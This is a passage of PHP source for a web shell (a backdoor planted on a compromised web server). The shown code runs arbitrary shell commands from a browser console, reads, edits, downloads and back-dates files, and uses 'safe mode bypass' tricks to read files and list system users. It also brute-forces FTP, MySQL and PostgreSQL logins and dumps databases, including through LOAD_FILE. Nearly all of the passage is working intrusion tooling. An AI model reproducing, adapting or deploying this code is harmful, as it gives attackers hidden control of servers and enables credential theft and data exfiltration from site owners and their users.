\\\'touch\\\')\">T</a>\'.(($f[\'type\']==\'file\')?\' <a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')\">E</a> <a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')\">D</a>\':\'\').\'</td></tr>\'; $l = $l?0:1; } ?>      <tr><td colspan=7>      <input type=hidden name=a value=\'FilesMan\'>      <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>      <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>      <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option><?php if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){?><option value=\'paste\'>Paste</option><?php }?></select>&nbsp;<input type=\"submit\" value=\">>\"></td></tr>      </form></table></div>      <?php printFooter(); } function actionStringTools() { if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}} if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}if(isset($_POST[\'ajax\'])) { $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; ob_start(); if(function_exists($_POST[\'p1\'])) echo $_POST[\'p1\']($_POST[\'p2\']); $temp = \"document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\\'\\0\").\"\';\\n\"; echo strlen($temp), \"\\n\", $temp; exit; } printHeader(); echo \'<h1>String conversions</h1><div class=content>\'; $stringTools = array( \'Base64 encode\' => \'base64_encode\', \'Base64 decode\' => \'base64_decode\', \'Url encode\' => \'urlencode\', \'Url decode\' => \'urldecode\', \'Full urlencode\' => \'full_urlencode\', \'md5 hash\' => \'md5\', \'sha1 hash\' => \'sha1\', \'crypt\' => \'crypt\', \'CRC32\' => \'crc32\', \'ASCII to HEX\' => \'ascii2hex\', \'HEX to ASCII\' => \'hex2ascii\', \'HEX to DEC\' => \'hexdec\', \'HEX to BIN\' => \'hex2bin\', \'DEC to HEX\' => \'dechex\', \'DEC to BIN\' => \'decbin\', \'BIN to HEX\' => \'bin2hex\', \'BIN to DEC\' => \'bindec\', \'String to lower case\' => \'strtolower\', \'String to upper case\' => \'strtoupper\', \'Htmlspecialchars\' => \'htmlspecialchars\', \'String length\' => \'strlen\', ); if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; echo \"<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>\"; foreach($stringTools as $k => $v) echo \"<option value=\'\".htmlspecialchars($v).\"\'>\".$k.\"</option>\"; echo \"</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 \".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\"> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>\".htmlspecialchars(@$_POST[\'p2\']).\"</textarea></form><pre class=\'ml1\' style=\'\".(empty($_POST[\'p1\'])?\'display:none;\':\'\').\"margin-top:5px\' id=\'strOutput\'>\"; if(!empty($_POST[\'p1\'])) { if(function_exists($_POST[\'p1\'])) echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\'])); } echo\"</pre></div>\"; ?>      <br><h1>Search for hash:</h1><div class=content>          <form method=\'post\' target=\'_blank\' name=\"hf\">              <input type=\"text\" name=\"hash\" style=\"width:200px;\"><br>              <input type=\"button\" value=\"hashcrack.com\" onclick=\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\"><br>              <input type=\"button\" value=\"milw0rm.com\" onclick=\"document.hf.action=\'http://www.milw0rm.com/cracker/search.php\';document.hf.submit()\"><br>              <input type=\"button\" value=\"hashcracking.info\" onclick=\"document.hf.action=\'https://hashcracking.info/index.php\';document.hf.submit()\"><br>              <input type=\"button\" value=\"md5.rednoize.com\" onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>              <input type=\"button\" value=\"md5decrypter.com\" onclick=\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\"><br>          </form>      </div>      <?php printFooter(); } function actionFilesTools() { if( isset($_POST[\'p1\']) ) $_POST[\'p1\'] = urldecode($_POST[\'p1\']); if(@$_POST[\'p2\']==\'download\') { if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) { ob_start(\"ob_gzhandler\", 4096); header(\"Content-Disposition: attachment; filename=\".basename($_POST[\'p1\'])); if (function_exists(\"mime_content_type\")) { $type = @mime_content_type($_POST[\'p1\']); header(\"Content-Type: \".$type); } $fp = @fopen($_POST[\'p1\'], \"r\"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } } elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) { } exit; } if( @$_POST[\'p2\'] == \'mkfile\' ) { if(!file_exists($_POST[\'p1\'])) { $fp = @fopen($_POST[\'p1\'], \'w\'); if($fp) { $_POST[\'p2\'] = \"edit\"; fclose($fp); } } } printHeader(); echo \'<h1>File tools</h1><div class=content>\'; if( !file_exists(@$_POST[\'p1\']) ) { echo \'File not exists\'; printFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST[\'p1\'])); $gid = @posix_getgrgid(@fileowner($_POST[\'p1\'])); echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\'; echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\'; if( empty($_POST[\'p2\']) ) $_POST[\'p2\'] = \'view\'; if( is_file($_POST[\'p1\']) ) $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\'); else $m = array(\'Chmod\', \'Rename\', \'Touch\'); foreach($m as $v) echo \'<a href=# onclick=\"g(null,null,null,\\\'\'.strtolower($v).\'\\\')\">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \'; echo \'<br><br>\'; switch($_POST[\'p2\']) { case \'view\': echo \'<pre class=ml1>\'; $fp = @fopen($_POST[\'p1\'], \'r\'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo \'</pre>\'; break; case \'highlight\': if( is_readable($_POST[\'p1\']) ) { echo \'<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">\'; $code = highlight_file($_POST[\'p1\'],true); echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\'; } break; case \'chmod\': if( !empty($_POST[\'p3\']) ) { $perms = 0; for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i) $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1)); if(!@chmod($_POST[\'p1\'], $perms)) echo \'Can\\\'t set permissions!<br><script>document.mf.p3.value=\"\";</script>\'; else die(\'<script>g(null,null,null,null,\"\")</script>\'); } echo \'<form onsubmit=\"g(null,null,null,null,this.chmod.value);return false;\"><input type=text name=chmod value=\"\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'\"><input type=submit value=\">>\"></form>\'; break; case \'edit\': if( !is_writable($_POST[\'p1\'])) { echo \'File isn\\\'t writeable\'; break; } if( !empty($_POST[\'p3\']) ) { @file_put_contents($_POST[\'p1\'],$_POST[\'p3\']); echo \'Saved!<br><script>document.mf.p3.value=\"\";</script>\'; } echo \'<form onsubmit=\"g(null,null,null,null,this.text.value);return false;\"><textarea name=text class=bigarea>\'; $fp = @fopen($_POST[\'p1\'], \'r\'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo \'</textarea><input type=submit value=\">>\"></form>\'; break; case \'hexdump\': $c = @file_get_contents($_POST[\'p1\']); $n = 0; $h = array(\'00000000<br>\',\'\',\'\'); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \'; switch ( ord($c[$i]) ) { case 0:$h[2] .= \' \'; break; case 9:$h[2] .= \' \'; break; case 10: $h[2] .= \' \'; break; case 13: $h[2] .= \' \'; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';} $h[1] .= \'<br>\'; $h[2] .= \"\\n\"; }} echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style=\"font-weight: normal;\"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\'; break; case \'rename\': if( !empty($_POST[\'p3\']) ) { if(!@rename($_POST[\'p1\'], $_POST[\'p3\'])) echo \'Can\\\'t rename!<br><script>document.mf.p3.value=\"\";</script>\'; else die(\'<script>g(null,null,\"\'.urlencode($_POST[\'p3\']).\'\",null,\"\")</script>\'); } echo \'<form onsubmit=\"g(null,null,null,null,this.name.value);return false;\"><input type=text name=name value=\"\'.htmlspecialchars($_POST[\'p1\']).\'\"><input type=submit value=\">>\"></form>\'; break; case \'touch\': if( !empty($_POST[\'p3\']) ) { $time = strtotime($_POST[\'p3\']); if($time) { if(@touch($_POST[\'p1\'],$time,$time)) die(\'<script>g(null,null,null,null,\"\")</script>\'); else { echo \'Fail!<script>document.mf.p3.value=\"\";</script>\'; } } else echo \'Bad time format!<script>document.mf.p3.value=\"\";</script>\'; } echo \'<form onsubmit=\"g(null,null,null,null,this.touch.value);return false;\"><input type=text name=touch value=\"\'.date(\"Y-m-d H:i:s\", @filemtime($_POST[\'p1\'])).\'\"><input type=submit value=\">>\"></form>\'; break; case \'mkfile\':break; } echo \'</div>\'; printFooter(); } function actionSafeMode() { $temp=\'\'; ob_start(); switch($_POST[\'p1\']) { case 1: $temp=@tempnam($test, \'cx\'); if(@copy(\"compress.zlib://\".$_POST[\'p2\'], $temp)){ echo @file_get_contents($temp); unlink($temp); } else echo \'Sorry... Can\\\'t open file\'; break; case 2: $files = glob($_POST[\'p2\'].\'*\'); if( is_array($files) ) foreach ($files as $filename) echo $filename.\"\\n\"; break; case 3: $ch = curl_init(\"file://\".$_POST[\'p2\'].\"\\x00\".SELF_PATH); curl_exec($ch); break; case 4: ini_restore(\"safe_mode\"); ini_restore(\"open_basedir\"); include($_POST[\'p2\']); break; case 5: for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) { $uid = @posix_getpwuid($_POST[\'p2\']); if ($uid) echo join(\':\',$uid).\"\\n\"; } break; case 6: if(!function_exists(\'imap_open\'))break; $stream = imap_open($_POST[\'p2\'], \"\", \"\"); if ($stream == FALSE) break; echo imap_body($stream, 1); imap_close($stream); break; } $temp = ob_get_clean(); printHeader(); echo \'<h1>Safe mode bypass</h1><div class=content>\'; echo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,\"1\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,\"2\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,\"3\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,\"4\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,\"5\",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\">>\"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,\"6\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form>\'; if($temp) echo \'<pre class=\"ml1\" style=\"margin-top:5px\" id=\"Output\">\'.$temp.\'</pre>\'; echo \'</div>\'; printFooter(); } function actionConsole() { if(isset($_POST[\'ajax\'])) { $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; ob_start(); echo \"document.cf.cmd.value=\'\';\\n\"; $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes(\"\\n$ \".$_POST[\'p1\'].\"\\n\".ex($_POST[\'p1\']),\"\\n\\r\\t\\\\\'\\0\")); if(preg_match(\"!.*cd\\s+([^;]+)$!\",$_POST[\'p1\'],$match)){ if(@chdir($match[1])) { $GLOBALS[\'cwd\'] = @getcwd(); echo \"document.mf.c.value=\'\".$GLOBALS[\'cwd\'].\"\';\"; } } echo \"document.cf.output.value+=\'\".$temp.\"\';\"; echo \"document.cf.output.scrollTop = document.cf.output.scrollHeight;\"; $temp = ob_get_clean(); echo strlen($temp), \"\\n\", $temp; exit; } printHeader(); ?>  <script>  if(window.Event) window.captureEvents(Event.KEYDOWN);  var cmds = new Array(\"\");  var cur = 0;  function kp(e) {      var n = (window.Event) ? e.which : e.keyCode;      if(n == 38) {          cur--;          if(cur>=0)              document.cf.cmd.value = cmds[cur];          else              cur++;      } else if(n == 40) {          cur++;          if(cur < cmds.length)              document.cf.cmd.value = cmds[cur];          else              cur--;      }  }  function add(cmd) {      cmds.pop();      cmds.push(cmd);      cmds.push(\"\");      cur = cmds.length-1;  }  </script>  <?php echo \'<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(document.cf.cmd.value==\\\'clear\\\'){document.cf.output.value=\\\'\\\';document.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;\"><select name=alias>\'; foreach($GLOBALS[\'aliases\'] as $n => $v) { if($v == \'\') { echo \'<optgroup label=\"-\'.htmlspecialchars($n).\'-\"></optgroup>\'; continue; } echo \'<option value=\"\'.htmlspecialchars($v).\'\">\'.$n.\'</option>\'; } if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; echo \'</select><input type=button onclick=\"add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}\" value=\">>\"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly>\'; if(!empty($_POST[\'p1\'])) { echo htmlspecialchars(\"$ \".$_POST[\'p1\'].\"\\n\".ex($_POST[\'p1\'])); } echo \'</textarea><input type=text name=cmd style=\"border-top:0;width:100%;margin:0;\" onkeydown=\"kp(event);\">\'; echo \'</form></div><script>document.cf.cmd.focus();</script>\'; printFooter(); } function actionLogout() { unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); echo \'bye!\'; } function actionSelfRemove() { printHeader(); if($_POST[\'p1\'] == \'yes\') { if(@unlink(SELF_PATH)) die(\'Shell has been removed\'); else echo \'unlink error!\'; } echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,\\\'yes\\\')\">Yes</a></div>\'; printFooter(); } function actionBruteforce() { printHeader(); if( isset($_POST[\'proto\']) ) { echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\'; if( $_POST[\'proto\'] == \'ftp\' ) { function bruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST[\'proto\'] == \'mysql\' ) { function bruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST[\'proto\'] == \'pgsql\' ) { function bruteForce($ip,$port,$login,$pass) { $str = \"host=\'\".$ip.\"\' port=\'\".$port.\"\' user=\'\".$login.\"\' password=\'\".$pass.\"\' dbname=\'\'\"; $res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(\":\", $_POST[\'server\']); if($_POST[\'type\'] == 1) { $temp = @file(\'/etc/passwd\'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(\":\", $line); ++$attempts; if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\'; } if(@$_POST[\'reverse\']) { $tmp = \"\"; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp); } } } } elseif($_POST[\'type\'] == 2) { $temp = @file($_POST[\'dict\']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) { $success++; echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\'; } } } echo \"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>\"; } echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\' .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\' .\'<input type=hidden name=c value=\"\'.htmlspecialchars($GLOBALS[\'cwd\']).\'\">\' .\'<input type=hidden name=a value=\"\'.htmlspecialchars($_POST[\'a\']).\'\">\' .\'<input type=hidden name=charset value=\"\'.htmlspecialchars($_POST[\'charset\']).\'\">\' .\'<span>Server:port</span></td>\' .\'<td><input type=text name=server value=\"127.0.0.1\"></td></tr>\' .\'<tr><td><span>Brute type</span></td>\' .\'<td><label><input type=radio name=type value=\"1\" checked> /etc/passwd</label></td></tr>\' .\'<tr><td></td><td><label style=\"padding-left:15px\"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\' .\'<tr><td></td><td><label><input type=radio name=type value=\"2\"> Dictionary</label></td></tr>\' .\'<tr><td></td><td><table style=\"padding-left:15px\"><tr><td><span>Login</span></td>\' .\'<td><input type=text name=login value=\"komsen\"></td></tr>\' .\'<tr><td><span>Dictionary</span></td>\' .\'<td><input type=text name=dict value=\"\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic\"></td></tr></table>\' .\'</td></tr><tr><td></td><td><input type=submit value=\">>\"></td></tr></form></table>\'; echo \'</div><br>\'; printFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type){ $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type){ case \'mysql\': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case \'pgsql\': $host = explode(\':\', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect(\"host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname\") ) return true; break; } return false; } function selectdb($db) { switch($this->type){ case \'mysql\': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case \'mysql\': return $this->res = @mysql_query($str); break; case \'pgsql\': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type){ case \'mysql\': return @mysql_fetch_assoc($res); break; case \'pgsql\': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type){ case \'mysql\': return $this->res = @mysql_list_dbs($this->link); break; case \'pgsql\': return $this->res = $this->query(\"SELECT datname FROM pg_database\"); break; } return false; } function listTables() { switch($this->type){ case \'mysql\': return $this->res = $this->query(\'SHOW TABLES\'); break; case \'pgsql\': return $this->res = $this->query(\"select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'\"); break; } return false; } function error() { switch($this->type){ case \'mysql\': return @mysql_error($this->link); break; case \'pgsql\': return @pg_last_error($this->link); break; } return false; } function setCharset($str) { switch($this->type){ case \'mysql\': if(function_exists(\'mysql_set_charset\')) return @mysql_set_charset($str, $this->link); else $this->query(\'SET CHARSET \'.$str); break; case \'mysql\': return @pg_set_client_encoding($this->link, $str); break; } return false; } function dump($table) { switch($this->type){ case \'mysql\': $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\'); $create = mysql_fetch_array($res); echo $create[1].\";\\n\\n\"; $this->query(\'SELECT * FROM `\'.$table.\'`\'); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = \"\'\".@mysql_real_escape_string($v).\"\'\"; $columns[] = \"`\".$k.\"`\"; } echo \'INSERT INTO `\'.$table.\'` (\'.implode(\", \", $columns).\') VALUES (\'.implode(\", \", $item).\');\'.\"\\n\"; } break; case \'pgsql\': $this->query(\'SELECT * FROM \'.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = \"\'\".addslashes($v).\"\'\"; $columns[] = $k; } echo \'INSERT INTO \'.$table.\' (\'.implode(\", \", $columns).\') VALUES (\'.implode(\", \", $item).\');\'.\"\\n\"; } break; } return false; } }; $db = new DbClass($_POST[\'type\']); if(@$_POST[\'p2\']==\'download\') { ob_start(\"ob_gzhandler\", 4096); $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']); $db->selectdb($_POST[\'sql_base\']); header(\"Content-Disposition: attachment; filename=dump.sql\"); header(\"Content-Type: text/plain\"); foreach($_POST[\'tbl\'] as $v) $db->dump($v); exit; } printHeader(); ?>      <h1>Sql browser</h1><div class=content>      <form name=\"sf\" method=\"post\">          <table cellpadding=\"2\" cellspacing=\"0\">              <tr>                  <td>Type</td>                  <td>Host</td>                  <td>Login</td>                  <td>Password</td>                  <td>Database</td>                  <td></td>              </tr>              <tr>                  <input type=hidden name=a value=Sql>                  <input type=hidden name=p1 value=\'query\'>                  <input type=hidden name=p2>                  <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\'>                  <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>                  <td>                      <select name=\'type\'>                          <option value=\"mysql\" <?php if(@$_POST[\'type\']==\'mysql\')echo \'selected\';?>>MySql</option>                          <option value=\"pgsql\" <?php if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';?>>PostgreSql</option>                      </select></td>                  <td><input type=text name=sql_host value=\'<?=(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\']));?>\'></td>                  <td><input type=text name=sql_login value=\'<?=(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\']));?>\'></td>                  <td><input type=text name=sql_pass value=\'<?=(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\']));?>\'></td>                  <td>      <?php $tmp = \"<input type=text name=sql_base value=\'\'>\"; if(isset($_POST[\'sql_host\'])){ if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) { switch($_POST[\'charset\']) { case \"Windows-1251\": $db->setCharset(\'cp1251\'); break; case \"UTF-8\": $db->setCharset(\'utf8\'); break; case \"KOI8-R\": $db->setCharset(\'koi8r\'); break; case \"KOI8-U\": $db->setCharset(\'koi8u\'); break; case \"cp866\": $db->setCharset(\'cp866\'); break; } $db->listDbs(); echo \"<select name=sql_base><option value=\'\'></option>\"; while($item = $db->fetch()) { list($key, $value) = each($item); echo \'<option value=\"\'.$value.\'\" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\'; } echo \'</select>\'; } else echo $tmp; }else echo $tmp; ?></td>                  <td><input type=submit value=\">>\"></td>              </tr>          </table>          <script>              function st(t,l) {                  document.sf.p1.value = \'select\';                  document.sf.p2.value = t;                  if(l!=null)document.sf.p3.value = l;                  document.sf.submit();              }              function is() {                  for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)                      document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;              }          </script>      <?php if(isset($db) && $db->link){ echo \"<br/><table width=100% cellpadding=2 cellspacing=0>\"; if(!empty($_POST[\'sql_base\'])){ $db->selectdb($_POST[\'sql_base\']); echo \"<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>\"; $tbls_res = $db->listTables(); while($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\')); $value = htmlspecialchars($value); echo \"<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'\".$value.\"\'>&nbsp;<a href=# onclick=\\\"st(\'\".$value.\"\')\\\">\".$value.\"</a> (\".$n[\'n\'].\")</nobr><br>\";} echo \"<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\\"download\\\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>\"; if(@$_POST[\'p1\'] == \'select\') { $_POST[\'p1\'] = \'query\'; $db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\'); $num = $db->fetch(); $num = $num[\'n\']; echo \"<span>\".$_POST[\'p2\'].\"</span> ($num) \"; for($i=0;$i<($num/30);$i++) if($i != (int)$_POST[\'p3\']) echo \"<a href=\'#\' onclick=\'st(\\\"\".$_POST[\'p2\'].\"\\\", $i)\'>\",($i+1),\"</a> \"; else echo ($i+1),\" \"; if($_POST[\'type\']==\'pgsql\') $_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30); else $_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\'; echo \"<br><br>\"; } if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) { $db->query(@$_POST[\'p3\']); if($db->res !== false) { $title = false; echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\'; $line = 1; while($item = $db->fetch()){ if(!$title){ echo \'<tr>\'; foreach($item as $key => $value) echo \'<th>\'.$key.\'</th>\'; reset($item); $title=true; echo \'</tr><tr>\'; $line = 2; } echo \'<tr class=\"l\'.$line.\'\">\'; $line = $line==1?2:1; foreach($item as $key => $value) { if($value == null) echo \'<td><i>null</i></td>\'; else echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\'; } echo \'</tr>\'; } echo \'</table>\'; } else { echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\'; } } echo \"<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>\".@htmlspecialchars($_POST[\'p3\']).\"</textarea><br/><input type=submit value=\'Execute\'>\"; echo \"</td></tr>\"; } echo \"</table></form><br/><form onsubmit=\'document.sf.p1.value=\\\"loadfile\\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>\"; if(@$_POST[\'p1\'] == \'loadfile\') { $db->query(\"SELECT LOAD_FILE(\'\".addslashes($_POST[\'p2\']).\"\') as file\"); $file = $db->fetch(); echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';} } echo \'</div>\'; printFooter(); } function actionNetwork() { printHeader(); 